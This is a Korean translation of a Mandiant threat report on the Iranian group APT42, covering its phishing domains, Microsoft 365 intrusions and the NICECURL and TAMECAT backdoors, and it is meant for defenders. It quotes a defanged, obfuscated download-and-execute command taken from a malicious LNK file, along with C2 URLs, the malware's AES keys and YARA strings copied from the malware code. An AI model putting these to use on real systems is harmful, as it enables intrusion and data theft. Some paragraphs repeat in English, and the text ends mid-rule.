이란의 공격 그룹 APT42를 파헤치다!
Mandiant
작성자: Ofir Rozmann, Asli Koksal, Adrian Hernandez, Sarah Bock, Jonathan Leathery
* 본 아티클의 원문은 2024년 5월 2일 Google Cloud 블로그(영문)에 게재되었습니다.
APT42는 이란 정부가 후원하는 사이버 스파이 단체로 강화된 사회 공학 기법으로 피해자 네트워크에 접근합니다. 이 단체는 클라우드 환경을 포함하여 서방 및 중동의 NGO, 언론사, 학계, 법률 서비스 및 활동가의 자격 증명을 수집 대상으로 삼고 있습니다. 맨디언트(Mandiant)는 이 공격 그룹이 이란 혁명수비대 정보 조직(IRGC-IO)를 위해 활동하는 것으로 보고 있습니다.
APT42는 기자나 행사 주최자로 위장해 피해자와 연락을 주고받으며 신뢰를 쌓고, 컨퍼런스 초대장이나 합법적인 문서를 전달합니다. 이러한 사회 공학 기법으로 APT42는 자격 증명을 수집하고, 이를 이용해 클라우드 환경의 초기 접근 권한을 확보합니다. 이후, 이 단체는 보안 운영자의 탐지를 회피하기 위해 여러 기능과 오픈 소스 도구를 사용해 이란의 이익에 부합하는 데이터를 은밀히 탈취합니다.
한편, APT42는 2개의 맞춤형 백도어인 NICECURL, TAMECAT를 활용한 작전도 펼쳤습니다. 이 백도어들은 스피어 피싱으로 전달되며, 공격자에게 초기 접근을 제공해 명령 실행이나 추가 맬웨어 배포를 위한 발판이 될 수 있습니다.
APT42의 공격 목표 선정 및 임무는 IRGC-IO와 연관된 것으로 보입니다. RGC-IO는 이슬람 공화국의 정보기관으로 외부의 위협과 국내 불안을 모니터링하고 방지하는 일을 하는 조직입니다.
APT42의 활동은 여러 보고서에 언급된 위협 행위자와 겹칩니다. 여기에는 CALANQUE (Google Threat Analysis Group), Charming Kitten (ClearSky 및 CERTFA), Mint Sandstorm/Phosphorus (Microsoft), TA453 (Proofpoint), Yellow Garuda (PwC), 그리고 ITG18 (IBM X-Force) 등이 있습니다.


Figure 1: APT42 operations
마이크로소프트, 야후, 구글 자격 증명 수집에 나선 APT42 공격 그룹
APT42는 맞춤형 스피어 피싱 캠페인과 광범위한 사회 공학 기법으로 자격 증명을 수집하는 것을 잘 알려진 공격 그룹입니다. 이들은 마이크로소프트, 야후, 구글 등 유명 서비스를 이용하는 사용자의 자격 증명을 수집하는데 보통 그림 2와 같이 세 단계로 작업을 합니다. 맨디언트는 APT42가 정부와 관련 인사, 언론사와 기자, 비정부기구(NGO)와 관련 활동가의 자격 증명 수집에 나선 3개의 도메인 그룹과 이들이 사용한 인프라를 발견했습니다. 3개의 도메인 그룹은 비슷한 전술, 기술, 절차(TTP)를 사용하지만 도메인 이름, 가장하는 방법, 미끼와 스피어 피싱에 사용하는 주제는 차이를 보입니다. 전체 인프라 목록은 침해 지표(IOC) 부분을 참조 바랍니다.


Figure 2: APT42의 자격 증명 수집 캠페인 공격 라이프사이클
도메인 그룹 A: 언론사 및 NGO로 위장
-
활동 기간: 2021년부터 현재까지
-
공격 목표: 이란과 관련된 지역에서 활동하는 기자, 연구원, 정치 관련 인물들의 자격 증명
-
위장 대상: 워싱턴 포스트(미국), 이코노미스트(영국), 예루살렘포스트(이스라엘), 칼리지 타임스(UAE), 아자들리크(아제르바이잔) 등의 언론사 및 NGO로 위장하며 종종 washinqtonpost[.]press처럼 철자가 틀린 도메인을 사용합니다. 맨디언트는 APT42가 언론사나 NGO를 직접 공격하거나 침해하는 것이 아니라 이들 조직으로 가장하는 것을 관찰하였습니다.
-
공격 벡터: 스피어 피싱으로 뉴스 기사로 가장한 악성 링크를 포함한 도메인을 사용합니다. 이 링크를 클릭하면 가짜 구글 로그인 페이지로 리다이렉션됩니다.


Figure 3: 예루살렘 포스트 기자가 자신의 이름으로 발송된 스피어 피싱 이메일을 조심하라는 경고 메시지를 공유했습니다.
도메인 그룹 B: 합법적인 서비스로 위장
-
활동 기간: 2019년부터 현재까지
-
공격 목표: 이란 정권에 위협이라 여겨지는 연구원, 기자, NGO 지도자, 인권 활동가 등
-
위장 대상: 일반 로그인 페이지, 파일 호스팅 서비스, 유튜브 등으로 위장하며 도메인의 TLD(Top Level Domain)는 .top, .online, .site, .live 등을 사용하며, panel-live-check[.]online 같은 하이픈으로 구분된 여러 단어를 포함합니다.
-
공격 벡터: 스피어 피싱으로 컨퍼런스 초대장이라 클라우드 인프라에 호스팅된 합법적인 문서로 가장한 링크를 보냅니다. 링크를 클릭하면 자격 증명을 입력하라는 메시지가 표시되고, 자격 증명을 입력하면 해당 정보가 공격자에게 전송됩니다. 맨디언트는 APT42가 앞서 언급한 위장 대상의 도메인을 사용하여 자격 증명을 수집하고 미끼 파일을 호스팅하는 사례를 여러 번 관찰하였습니다. 2023년 3월 APT42는 ksview[.]top 도메인을 사용하여 프리랜서 기자를 대상으로 한 가짜 Gmail 로그인 페이지를 호스팅하는 honest-halcyon-fresher[.]buzz로 리다이렉션하려 했습니다. 이는 APT42가 목표에 맞춤형으로 캠페인을 수행하고 있는 것을 보여주는 예라 할 수 있습니다.


Figure 4: Fake Gmail login page used by APT42
-
2023년 3월 APT42는 Mona Louri라는 가짜 인물의 명의로 인권 운동가이자 연구원이라는 명목으로 가짜 Google Meet 초대장을 포함한 스피어 피싱 이메일을 보냈습니다. 사용자가 이 초대장을 클릭하면 가짜 Google Meet 페이지로 이동하며, 여기서 정보를 입력하면 해당 자격 증명 정보는 공격자에게 전송됩니다.


Figure 5: APT42가 활용한 가짜 인물 Mona Louri의 트위터 계정
- 가짜 페이지는 신뢰성을 높이기 위해 Google Sites 웹페이지 제작 도구로 만들었습니다. HTML 내용에는 APT42 전용 도메인이 포함되어 있습니다. 이 활동은 트위터에서도 언급되었습니다.


Figure 6: APT42가 배포한 가짜 Google Meet 페이지


Figure 7: 가짜 Google Meet 페이지의 HTML 내용에 포함된 APT42 도메인
-
2023년 11월부터 12월까지 APT42는 스피어 피싱 이메일로 언론 및 비영리 부문을 공격했습니다. 이 이메일에는 “n9[.]cl"이라는 URL 단축 서비스를 사용한 링크가 포함되어 있었으며, 이를 클릭하면 “review[.]modificaaon-check[.]online” 도메인을 사용하는 가짜 Google Drive 페이지로 리다이렉션됩니다. 이 페이지는 자격 증명 수집을 하기 위한 것이었습니다. 일부 이메일에는 URL 단축 서비스를 사용하지 않고 동일한 도메인 링크가 포함되어 있었습니다. 이 캠페인의 일환으로 APT42는 Google Drive로 무해한 파일을 공유하기도 했습니다.
-
2024년 2월 맨디언트는 APT42 도메인 “nterview[.]site”가 “admin-stableright[.]top” 도메인으로 리다이렉션되어 가짜 Gmail 로그인 페이지를 호스팅하는 것을 발견했습니다. 이는 여성 인권 운동가의 자격 증명을 노린 공격이었습니다. 또한, “nterview[.]site” 도메인은 “Jamileh Nedai”라는 이름으로 여성 인권 테마의 미끼를 포함한 이메일로 리다이렉션되었습니다. Jamileh Nedai는 이란의 영화 제작자이자 여성 인권 운동가일 가능성이 있습니다. 미끼로 사용한 “Quesaonnaire.pdf” 문서의 제목은 “Women’s Struggles and Protest”였으며 Dropbox에 호스팅되어 있습니다. 문서 작성자는 "David Webb"으로 표기되어 있었는데, 폭스뉴스의 기고가인 것으로 보입니다. 맨디언트는 David Webb이 APT42의 목표가 된 적은 없지만, 실제 인물의 신원을 도용하고 사회적 이슈와 관련된 주제를 이용해 피해자를 유혹하는 메시지의 신뢰를 높이기 위해 이름을 도용한 것으로 보고 있습니다.


Figure 8: APT42가 Dropbox(왼쪽)를 통해 공유한 여성 인권 관련 내용이 담긴 미끼(오쪽)
-
2024년 3월 APT42는 shortlinkview[.]live 도메인을 사용해 panelview[.]live로 리다이렉션하는 캠페인을 진행하였습니다. 이 캠페인은 페르시아어 뉴스 채널에서 일하는 편집자를 대상으로 했으며, 최종 리다이렉션 페이지는 가짜 Gmail 로그인 페이지를 호스팅하고 있었습니다.
-
2024년 3월에 APT42는 reconsider[.]site 도메인을 사용하여 Dropbox에 호스팅된 가짜 문서인 “The Secrets of Gaza Tunnels”로 사용자를 유혹하였습니다. 이 문서는 히브리어와 영어로 작성했으며, 이스라엘-하마스 전쟁을 활용한 것으로 보입니다.


Figure 9: APT42가 사용한 “The Secrets of Gaza Tunnels”라는 제목의 가짜 문서
-
APT42는 reconsider[.]site 도메인을 사용하여 last-checkleave[.]buzz로 리다이렉션하고 구글, 마이크로소프트, 야후 자격 증명을 목표로 하는 캠페인을 진행했습니다. 이 캠페인은 미국, 이스라엘, 유럽의 연구원과 학계 인사를 대상으로 합니다.


Figure 10: APT42가 사용한 가짜 야후와 Hotmail 로그엔 페이지
-
맨디언트는 APT42가 피싱을 통해 배포한 것으로 가짜 유튜브 로그인 페이지와 URL 단축 페이지로 관찰하였습니다.


Figure 11: APT42 도메인에 호스팅된 가짜 유튜브 로그인 페이지


Figure 12: APT42의 여러 도메인에서 호스팅된 가짜 URL 단축 페이지
도메인 그룹 C: "Mailer Daemon" 위장, URL 단축 서비스 및 NGO로 위장
-
활동 기간: 2022년부터 현재까지
-
공격 목표: 미국과 이스라엘의 국방, 외교, 학계 관련 개인 및 단체
-
사례: 2023년 11월 APT42는 이스라엘의 주요 대학 핵물리학 교수를 대상으로 피싱 URL을 사용해 공격을 시도했습니다. 이 URL은 합법적인 Microsoft 365 로그인 페이지로 위장하였습니다(hxxps://email-daemon[.]online/<university_acronym>365[.]onmicrosofl[.]com/accountID=<target_handle>).
-
위장 대상: NGO, "Mailer Daemon", Bitly URL 단축 서비스
-
공격 벡터: 스피어 피싱을 통해 회의 초대장이나 클라우드 인프라에 호스팅된 합법적인 문서로 가장한 링크를 보냅니다. 사용자가 링크에 접속하면 자격 증명을 입력하도록 유도하고, 이 정보는 공격자에게 전송됩니다. APT42는 표적이나 미끼를 "1337"(leet) 문자를 사용해 인코딩한 것을 관찰하였습니다. Leet Writing은 문자를 숫자나 기호로 대체하는 방식의 일종입니다. 예를 들어, 이스라엘 모사드의 전 수장인 Tamir Pardo의 이름을 "t4m1rpa"와 같이 바꾸어 URL을 코드화하였습니다(hxxps://bitly[.]org[.]il/t4m1rpa). APT42는 이스라엘에서 열린 국제 방첩 회의("ICT-2023")와 관련된 미끼 URL을 배포했습니다.(hxxps://bitly[.]org[.]il/J03p4y3r, hxxps://youtransfer[.]live/ICT-2023/J03py3r)
Microsoft 365를 목표로 하는 APT 공격 캠페인 'Head(er) in The Cloud'
맨디언트는 2022년부터 2023년까지 APT42가 이란에 중요한 문서와 피해자의 퍼블릭 클라우드 인프라에서 민감한 정보를 탈취하는 것을 관찰하였습니다. 피해자는 미국과 영국의 법률 서비스 및 NGO 분야에 집중되어 있습니다. 그러나 APT42가 전 세계적으로 자격 증명 수집을 수행하기 때문에 실제 피해 범위는 훨씬 넓을 가능성이 있습니다.
APT42는 강화된 사회 공학 기법을 활용하였습니다. 이메일이나 메시지를 교환하는 가운데 피해자와 신뢰 관계를 쌓습니다. 이렇게 신뢰를 구축해 피해자 네트워크에 대한 초기 접근 권한을 얻습니다. 자격 증명을 손에 넣은 후에는 다단계 인증(MFA) 우회를 시도합니다. APT 42는 가짜 웹 사이트를 만든 다음 피해자가 합법적인 사이트라 믿도록 유도합니다. 피해자가 가짜 웹 사이트에 로그인하면 공격자는 MFA 토큰 캡처를 시도하는데 보통 이 방법은 실패한 것으로 보입니다. APT42는 피해자에게 MFA 푸시 알림을 전송해 승인을 요청하는 시도를 하였는데, 피해지가 실수로 승인하면 공격자는 피해자의 계정에 성공적으로 접근할 수 있었습니다. 이런 식으로 APT42는 피해자의 Microsoft 365 환경에 비밀리에 접근해 침투할 수 있었습니다.
APT42는 피해 조직의 몰래 접근해 손상을 입히기 위해 Microsoft 365의 내장 기능을 악용해 침투를 감추려 하였고, 맬웨어로 인식되지 않는 오픈 소스 도구를 사용해 탐지 회피를 시도하였습니다.


Figure 13: APT42 클라우드 공격 라이프사이클
APT42의 클라우드 공격 라이프사이클을 자세히 알아보겠습니다.
-
APT42는 사회 공학 기법을 사용해 피해자와 교류합니다. 이 과정은 몇 주에 걸쳐 진행될 수 있습니다.
-
APT42는 유명한 국제 NGO나 법률 기관으로 위장해 이메일을 보냅니다. 이때 aspenlnsatute[.]org처럼 원래 NGO 도메인의 철자가 틀린 도메인을 사용합니다.
-
아스펜(Aspen) 연구소는 스푸핑 도메인을 인식하고 파트너와 협력해 Google Chrome 및 기타 브라우저에서 이를 차단해 사용자들을 보호하였습니다.
-
APT42는 이메일 페르소나를 만들 때 해당 조직의 고위 인물을 가장하여 신뢰성을 높였습니다.
-
APT42는 피해자들을 합법적인 관련성 있는 행사와 회의에 초대하는 미끼를 사용해 캠페인의 신뢰성을 높였습니다. 예를 들어 한 사례에서 공격자가 제어하는 SharePoint 폴더에 호스팅된 PDF 파일이 사용되었습니다. 피해자가 자격 증명을 입력한 후 이 파일에 접근할 수 있었습니다. 맨디언트는 파일에서 악성 요소를 발견하지 못했는데, 이 파일은 피해자의 신뢰를 얻기 위해 사용된 것으로 보입니다.


Figure 14: PDF 미끼가 포함된 APT42가 제어하는 SharePoint 폴더
-
피해자와 일정 수준의 신뢰를 쌓은 후 APT42는 자격 증명 수집을 위해 피해자에게 링크를 보냅니다. 이는 앞서 설명한 자격 증명 탈취 과정과 비슷합니다.
-
맨디언트는 JavaScript 파일을 사용하여 피해자를 가짜 Microsoft 365 로그인 페이지로 리다이렉션하는 것을 관찰했습니다.
-
APT42는 동일한 캠페인에서 SharePoint 로그인 페이지와 가짜 Linkedin 로그인 페이지를 사용해 여러 고위 인물을 동시에 노렸습니다.


Figure 15: APT42가 사용한 가짜 LinkedIn 로그인 페이지
-
APT42는 MFA를 우회하기 위해 다음과 같은 두 가지 방법을 사용했습니다. 첫 번째는 가짜 DUO 페이지를 사용해 MFA 토큰을 얻으려 시도한 것입니다. 이 페이지는 api-<generated_id>[.]... 같은 하위 도메인이나 “duo”라는 단어를 포함하였습니다. 만약 이 방법이 실패하면 로그인 시도 시 피해자에게 인증 프롬프트를 보내어 성공을 거두었습니다. 두 번째는 피싱 사이트를 이용하는 것으로 일부 침입에서 SMS를 통해 전송된 MFA 토큰을 캡처하기 위해 피싱 사이트를 사용했습니다. 이를 통해 MFA 토큰을 캡처하고, 재인증을 피하고자 KMSI(Keep-me-Signed-In) 기능을 활용했습니다.
-
APT42는 지속적인 접근을 위해 마이크로소프트의 앱 비밀번호 기능을 활용했습니다. 이 기능은 기본적으로 활성화되어 있지 않으며, 수동으로 활성화할 수 있습니다. 이 기능이 활성화되면 로그인된 사용자는 비밀번호를 생성할 수 있어 재인증 없이 지속적인 로그인이 가능합니다.


Figure 16: APT42가 지속적인 MFA 우회를 위해 악용한 마이크로소프트 앱 비밀번호 설정
-
APT42는 Microsoft 365 환경에서 데이터를 은밀하게 탈취하기 위한 단계를 거쳤습니다. 데이터 탈취를 위해 거친 단계를 알아보겠습니다. 데이터 탈취는 OneDrive 문서, Outlook 이메일, 이란과 관련된 외교 문제나 페르시아만 지역에 관한 문서를 포함한 다양한 데이터를 목표로 하였습니다. 1단계에서 공격자는 Thunderbird 이메일 클라이언트를 사용해 피해자의 이메일에 로그인합니다. 이를 위해 사용자 권한을 변경하여 승인을 얻었습니다. 2단계에서 공격자는 피해자의 Citrix 애플리케이션과 윈도우 원격 데스크톱 프로토콜(RDP)을 사용하여 로그인합니다. 이후 공격자는 파일을 탐색하고 나열하여, 비밀번호로 보호된 7-ZIP 아카이브 파일을 준비합니다. 그런 다음 공격자는 윈도우 기본 명령어를 사용하여 호스트, 네트워크, 디렉토리를 조사합니다.
-
공격자는“set-ExecutionPolicy”, “Import-Module”, “Invoke-HuntSMBShares” 등의 PowerShell cmdlet을 사용합니다. 이 중 “Invoke-HuntSMBShares”는 PowerHuntShares 모듈의 cmdlet으로 사용자의 네트워크 공유 권한을 식별하는 도구입니다.
-
APT42는 이란 관련 특정 파일과 데이터를 검색하였습니다. 예를 들어 윈도우 레지스트리 키 HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths에 기록된 데이터를 통해 외교 문제와 관련된 이란 관련 문서를 검색했습니다. 다른 침입에서는 중동 및 우크라이나 전쟁과 관련된 파일을 탐색했습니다.


Figure 17: APT42의 클라우드 공격 흐름
APT42는 침입 흔적을 최소화하기 위해 다양한 방어 회피 기법을 사용합니다.
-
Microsoft 365의 기본 기능 및 공개 도구를 사용하여 추적을 어렵게 하고, 피해자 환경에 자연스럽게 녹아들었습니다.
-
관심 있는 문서를 검토한 후 Google Chrome 브라우저의 기록을 삭제합니다.
-
OneDrive를 통한 파일 탈취도 있었습니다. 공격자는 가짜 이메일 주소 <victim_org_name>@outlook[.]com을 통해 파일 탈취를 시도합니다. 또한, APT42는 피해자의 OneDrive에서 파일을 탐색하고 다운로드하여 관심 있는 파일에 접근합니다.
-
APT42는 피해자 환경과 상호작용을 하기 위해 ExpressVPN 노드, Cloudflare에 호스팅된 도메인, 임시 VPS 서버 등 익명화된 인프라를 사용합니다.
이런 방어 회피 기법에도 불구하고 맨디언트는 첫째 APT42의 자격 증명 수집 작업과 겹치는 도메인 사용, 둘째 이란 관련 정보 수집을 근거로 APT42의 클라우드 운영을 식별할 수 있었습니다
APT42의 맬웨어 기반 캠페인 운영
맨디언트는 APT42가 맞춤형 맬웨어를 사용하는 여러 캠페인을 추적하고 있습니다. 최근 맨디언트는 APT42가 TAMECAT과 NICECURL이라는 맞춤형 백도어를 배포한 것을 확인했습니다. 이 백도어들은 주로 스피어 피싱을 통해 미끼 컨텐츠와 함께 전달되어 초기 접근을 가능하게 합니다. 백도어는 유연한 코드 실행 인터페이스를 제공하여 추가 맬웨어를 배포하거나 장치에서 명령을 수동으로 실행할 수 있습니다. 맨디언트는 APT42가 이러한 백도어를 사용하여 전 세계의 NGO, 정부 및 국제기구를 목표로 했으며, 이는 이란과 중동 관련 문제와 일치한다고 평가하고 있습니다.
NICECURL
NICECURL은 VBScript로 작성한 백도어로 데이터 마이닝 모듈을 포함한 추가 모듈을 다운로드하여 실행할 수 있으며, 임의의 명령을 실행할 수 있는 인터페이스를 제공합니다. 이 백도어는 “kill”(아티팩트 제거 및 실행 종료), “SetNewConfig”(새로운 대기 값 설정), “Module”(추가 파일 다운로드 및 실행) 등의 명령을 지원합니다. NICECURL은 HTTPS를 통해 통신합니다.
2024년 1월 맨디언트는 Harvard T.H. Chan 공중보건 대학의 면접 피드백 양식으로 위장한 PDF 미끼와 함께 NICECURL을 다운로드하는 악성 LNK 파일을 확인했습니다. 이 미끼는 Middle East Institute의 학자이자 외교 정책 연구자인 Daniel Serwer를 언급하고 있습니다. 맨디언트는 이러한 기관들이 실제로 공격 목표가 되었거나 침해되었다는 증거는 없으며, 단지 APT42가 신뢰성을 높이기 위해 이들을 이용한 것으로 보고 있습니다.


Figure 18: APT42가 사용한 PDF 미끼
onedrive-form.pdf.lnk (MD5: d5a05212f5931d50bb024567a2873642) 파일은 hxxps://drive-file-share[.]site/OneDrive-Form.pdf.lnk에서 다운로드되었습니다. 이 파일은 2024년 1월 14일 C2(Command & Control) 서버에 업로드되었습니다.


Figure 19: drive-file-share[.]site에 호스팅된 NICECURL LNK 파일
LNK 파일은 다음 명령을 포함하고 있으며, 이를 통해 prism-west-candy[.]glitch[.]me에서 NICECURL을 다운로드하고 실행합니다.
cmd.exe /c set c=cu7rl --s7sl-no-rev7oke -s -d \"id=CgYEFk
&Prog=2_Mal_vbs.txt&WH=Form.pdf\" -X PO7ST hxxps://
prism-west-candy[.]glitch[.]me/Down -o %temp%\\down.v7bs
& call %c:7=% & set b=sta7rt \"\" \"%temp%\\down.v7bs\" & call %b:7=%
2024년 2월 맨디언트는 kuzen.vbs (MD5: 347b273df245f5e1fcbef32f5b836f1d)라는 이름의 또 다른 NICECURL 샘플을 발견했습니다. 이 샘플은 worried-eastern-salto[.]glitch[.]me에 연결되어 “Empowering Women for Peace”라는 제목의 PDF 미끼 파일(question-Em.pdf, MD5: 2f6bf8586ed0a87ef3d156124de32757)을 다운로드합니다. 이 파일은 미국의 외교 정책 및 국제 관계를 전문으로 하는 싱크탱크에서 작성된 것으로 보입니다.


Figure 20: APT42가 사용한 PDF 미끼 파일(question-Em.pdf, MD5: 2f6bf8586ed0a87ef3d156124de32757)
According to the contents of the decoy file, the attack possibly happened in January or the beginning of February 2024 and targeted a victim located in Australia.
Mandiant also observed a similarly named encrypted RAR file named “question_Empowering Women for Peace Gender Equality in Conflict Prevention and Resolution (6).rar” (MD5: 13aa118181ac6a202f0a64c0c7a61ce7). This RAR file shares the same name with the decoy PDF and likely targeted the same victim.
This infection chain was previously documented by Volexity.
TAMECAT
In March 2024, Mandiant identified a sample of TAMECAT, a PowerShell toehold that can execute arbitrary PowerShell or C# content. TAMECAT is dropped by malicious macro documents, communicates with its command-and-control (C2) node via HTTP, and expects data from the C2 to be Base64 encoded. Mandiant previously observed TAMECAT used in a large-scale APT42 spear-phishing campaign targeting individuals or entities employed by or affiliated with NGOs, government, or intergovernmental organizations around the world.
TAMECAT Execution
Execution begins with a small VBScript downloader that leverages Windows Management Instrumentation (WMI) to query anti-virus products running on the victim's system. Depending on the script determining if Windows Defender is running, differing download commands and URLs are used.
이 미끼 파일의 내용에 따르면 공격은 2024년 1월 또는 2월 초에 호주에 있는 피해자를 대상으로 한 것으로 보입니다. 맨디언트는 동일한 이름의 암호화된 RAR vkdlf(question_Empowering Women for Peace Gender Equality in Conflict Prevention and Resolution (6).rar, MD5: 13aa118181ac6a202f0a64c0c7a61ce7)을 확인했습니다. 이 파일은 PDF 미끼 파일과 동일한 이름을 공유하며 동일한 피해자를 목표로 한 것으로 추정됩니다. 이 감염 체인은 이전에 Volexity에 의해 문서화되었습니다.
-
a2.vbs (MD5: d7bf138d1aa2b70d6204a2f3c3bc72a7)
- 다운로드: hxxps://s3[.]tebi[.]io/icestorage/config/nconf.txt (MD5: - 081419a484bbf99f278ce636d445b9d8)
- TAMECAT 로더
- 다운로드: hxxp://tnt200[.]mywire[.]org/Do1
- 컨텐츠 사용 불가
- NICECURL 생태계에서 맬웨어를 다운로드할 가능성 있음


Figure 21: a2.vbs 컨텐츠
다운로드된 nconf.txt 스크립트(MD5: 081419a484bbf99f278ce636d445b9d8)는 난독화되고 AES로 암호화된 TAMECAT 백도어를 포함한 PowerShell 스크립트입니다. 또한, 이 스크립트는 TAMECAT 백도어를 AES로 해독하는 추가 PowerShell 스크립트를 다운로드합니다.
AES 해독 스크립트를 다운로드할 때 다음과 같은 하드코딩된 사용자 에이전트 문자열을 사용합니다.
-
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
이 스크립트는 고유한 TAMECAT 키 값 T2r0y1M1e1n1o0w1을 포함하고 있으며, 이는 2023년 6월에 보고된 TAMECAT 샘플(MD5: dd2653a2543fa44eaeeff3ca82fe3513)에서 관찰한 것과 같습니다. 그러나 이 고유 값은 스크립트에서 실제로 사용되지는 않습니다.
스크립트는 AES 해독 스크립트의 URL의 Base64 문자열로 저장하며, 첫 세 글자를 잘라낸 후 남은 문자열을 Base64로 디코딩합니다.
-
pepaHR0cHM6Ly9zMy50ZWJpLmlvL2ljZXN0b3JhZ2UvZGYzMnMudHh0
-
디코딩 결과: hxxps://s3[.]tebi[.]io/icestorage/df32s.txt
이 URL에 저장된 스크립트는 df32s.txt (MD5: c3b9191f3a3c139ae886c0840709865e)입니다.
응답 컨텐츠를 Base64로 디코딩되며, 다음 절차를 통해 추가로 디코딩됩니다.
-
배열 $bytesOfRes 내 각 바이트의 비트를 반전시킵니다.
-
반전된 표현에서 가장 덜 중요한 바이트(8비트)를 추출합니다.
-
추출된 바이트를 다시 숫자 바이트 값으로 변환합니다.
디코딩된 결과 PowerShell 함수는 다음과 같습니다.


Figure 22: 디토딩된 df32s.txt
디코딩된 스크립트는 주로 전달된 매개변수를 AES로 복호화하는 함수입니다. 이 함수는 TAMECAT 백도어가 복호화되고 실행될 때 사용하는 C2 도메인을 포함한 전역 변수를 정의합니다. 다음 AES 키와 IV가 컨텐츠 복호화에 사용됩니다.
-
AES 키: kNz0CXiP0wEQnhZXYbvraigXvRVYHk1B
-
AES IV: 0T9r1y1M2e0N0o1w
부모 스크립트는 AES 복호화 함수를 사용해 Base64로 인코딩된 문자열을 복호화합니다.
복호화가 완료되면 추가 PowerShell 스크립트가 나타나고, 이는 nconf.txt 내에 난독화된 문자열을 결합하여 AES로 복호화합니다. 복화화된 결과는 TAMECAT 백도어입니다.
TAMECAT 백도어 실행 과정을 알아보겠습니다. 백도어는 처음에 피해자 식별 정보를 %LOCALAPPDATA%\config.txt 위치에 작성합니다. 그다음 전역으로 정의된 C2 도메인(hxxps://accurate-sprout-porpoise[.]glitch[.]me)으로 초기 POST 요청을 보냅니다. 이 요청에는 AES로 암호화되고 Base64로 인코딩된 ㄷ음과 같은 정보가 포함됩니다.
TAMECAT 백도어는 kNz0CXiP0wEQnhZXYbvraigXvRVYHk1B 키와 무작위로 생성된 16자 IV를 사용해 컨텐츠를 암호화합니다. 무작위로 생성된 iV는 ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz 문자열에서 생성되며, POST 요청의 Content_DPR 헤더에 추가됩니다. AES 키는 C2에 전송되지 않으므로 여러 피해자에게 동일한 AES 키가 사용될 가능성이 큽니다.
응답이 성공하면 Content-DPR 헤더에 앞서 언급한 AES 키로 복호화할 때 사용할 IV가 포함되어 있습니다. 복호화된 응답 데이터는 단락 기호(¶)로 네 가지 값으로 분할됩니다.
-
언어
-
명령
-
스레드 이름
-
시작/중지
사용 가능한 명령어는 이전에 확인된 TAMECAT 샘플과 대체로 같습니다.
전망
APT42는 이스라엘-하마스 전쟁에서 불구하고 정보 수집 및 유사한 피해자들을 목표로 하는 활동에 주력하고 있습니다. 맞춤형 맬웨어를 배포하는 것 외에도 APT42는 광범위한 클라우드 작업을 수행하는 것으로 확인되었습니다. 클라우드 환경에서 임플란트가 사용되지 않는 경우, APT42는 사회 공학 기법을 통해 자격 증명을 수집하고 이란의 전략적 이익을 위한 정보를 얻습니다. 최근 Google Cloud Threat Horizons 보고서에서도 클라우드 환경에서 자격 증명 남용이 초기 접근 벡터로 강조되었습니다.
APT42의 방법은 최소한의 흔적을 남겨 네트워크를 방어하는 보안 담당자들이 공격 활동을 탐지하고 대응하는 것을 어렵게 만듭니다. 이 포스트에서 소개한 전술, 기술, 절차(TTP)와 침해 지표(IOC) 및 YARA 룰은 탐지 및 완화 노력을 지원할 수 있습니다.
Google Chronicle Enterprise+ 고객의 경우 Chronicle 규칙이 Emerging Threats 규칙 팩에 추가되었으며, 이 블로그 포스트에 나열된 IOCs는 Applied Threat Intelligence로 우선순위를 매길 수 있습니다. 또한, 이 포스트에서 소개하는 IOC는 Safe Browsing에서 차단되어 Google Chrome 사용자와 다른 브라우저 사용자도 보호받을 수 있습니다.
침해 지표(IOC)
이 포스팅에서 설명한 APT42 활동과 관련된 침해 지표가 포함된 VirusTotal 컬렉션이 VirusTotal 등록 사용자에게 제공됩니다.
자격 증명 수집
맬웨어 운영
NICECURL
NICECURL: YARA Rules
rule M_APT_Backdoor_NICECURL_1 {
meta:
author = "Mandiant"
md5 = "c23663ebdfbc340457201dbec7469386"
date_created = "2024-01-18"
date_modified = "2024-01-18"
rev = "1"
strings:
$ = "a = \"llehS.tpircsW\"" ascii wide
$ = "b = StrReverse(a)" ascii wide
$ = "Set objShell = wscript.CreateObject(b)"
$ = "WHFilePath = Temp & \"/\" & ProgName" ascii wide
$ = "Do While not FileExists(WHFilePath)" ascii wide
$ = "cmd /C start /MIN curl --ssl-no-revoke -s -d \"\"\"" ascii wide
$ = "nicecmdPath = Temp & \"/\" & ProgName" ascii wide
$ = "Function RunCom(Com, Url, nicecmdPath)" ascii wide
$ = "ComDecode = Base64Decode(Com)" ascii wide
$ = "InStr(ComDecode, \"kill\")" ascii wide
$ = "InStr(ComDecode, \"SetNewConfig\")" ascii wide
$ = "InStr(ComDecode, \"Module\")" ascii wide
$ = "Sub DeleteFile(filespec)" ascii wide
$ = "Sub CopyFile(Src, Dst)" ascii wide
$ = "Function SendData(sUrl, sRequest, nicecmdPath)" ascii wide
$ = "Function WriteToFile(FilePath, data)" ascii wide
$ = "Function GetSystemCaption()" ascii wide
$ = "Function GetPlainSess()" ascii wide
condition:
4 of them
}
rule M_APT_Backdoor_NICECURL_datamine_module_1 {
meta:
author = "Mandiant"
md5 = "853687659483d215309941dae391a68f"
date_created = "2024-01-18"
date_modified = "2024-01-18"
rev = "1"
strings:
$ = "a = \"llehS.tpircsW\"" ascii wide
$ = "b = StrReverse(a)" ascii wide
$ = "Set objShell = wscript.CreateObject(b)" ascii wide
$ = "ModuleName & \" module started successfully.\"" ascii wide
$ = "SendLog(MAC, Logs, ModuleName, \"Success\")" ascii wide
$ = "& vbNewLine & \"*** Ant:\"" ascii wide
$ = "For Each antivirus in installedAntiviruses" ascii wide
$ = "list=list & VBNewLine & antivirus.displayName" ascii wide
$ = "checking the state of the 12th bit of productState property of
the antivirus" ascii wide
$ = "For Each item In query_result" ascii wide
$ = "Set query_result = objWMI.ExecQuery(\"" ascii wide
$ = "Function SendFile(FilePath, ModuleName)" ascii wide
$ = "Function SendData(Base64Data, FolderName, FileName, Format)"
ascii wide
$ = "call HTTPPost(Url, sRequest)" ascii wide
$ = "ChunckData = Mid(Base64Data, 1, lengthdata)" ascii wide
$ = "ChunckData = Mid(Base64Data, (i * lengthdata) + 1)" ascii wide
$ = "ChunckData = Mid(Base64Data, (i * lengthdata) + 1, lengthdata)"
ascii wide
$ = "Function SendLog(MAC, Logs, ModuleName, Status)" ascii wide
condition:
4 of them
}
TAMECAT
TAMECAT: YARA Rules
rule M_APT_Backdoor_TAMECAT_2 {
meta:
